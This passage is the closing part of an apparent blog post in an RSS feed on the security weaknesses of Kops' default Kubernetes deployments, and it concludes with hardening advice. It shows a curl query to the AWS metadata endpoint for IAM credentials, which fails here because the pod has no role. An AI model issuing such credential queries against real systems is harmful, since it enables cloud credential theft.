pod with no IAM role attached:<br>$ curl <a href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">http://169.254.169.254/latest/meta-data/iam/security-credentials/</a><br>Unable to find role for IP 100.96.3.1</pre><p>Maybe Kops could set ACLs on files so nodes can’t read the whole /secret directory on the bucket.</p><h4>Conclusion</h4><p>In this article I hope I demonstrated that deploying a Kubernetes cluster with the default Kops settings isn’t secure in the case of an application compromise and shouldn’t be used in production as such. You have to deep a little bit in the options and keep security in mind. I really like Kops, it’s an awesome tool that does a great work and really make Kubernetes cluster management easy. It’s improving but for now you should still tune its configuration.</p><p>Note that the Kubernetes community is aware of theses problems and work is ongoing to find better defaults. You can track theses efforts on kubernetes issue <a href="https://github.com/kubernetes/kubernetes/issues/52184">#52184</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/0*3F2AftrlPBGOcYz7" /></figure><p><strong>Join our community Slack and read our weekly Faun topics ⬇</strong></p><p><a href="https://www.faun.dev/join/?utm_source=medium.com%2Ffaun&amp;utm_medium=medium&amp;utm_campaign=faunmedium">Join a Community of Aspiring Developers.Get must-read articles, learn new technologies for free, chat with like-minded people, get job offers, listen to podcasts and more</a></p><h4>If this post was helpful, please click the clap 👏 button below a few times to show your support for the author! ⬇</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2819c157bc90" width="1" height="1" alt=""><hr><p><a href="https://faun.pub/security-problems-of-kops-default-deployments-2819c157bc90">Security problems of Kops default deployments</a> was originally published in <a href="https://faun.pub/">FAUN.dev() 🐾</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>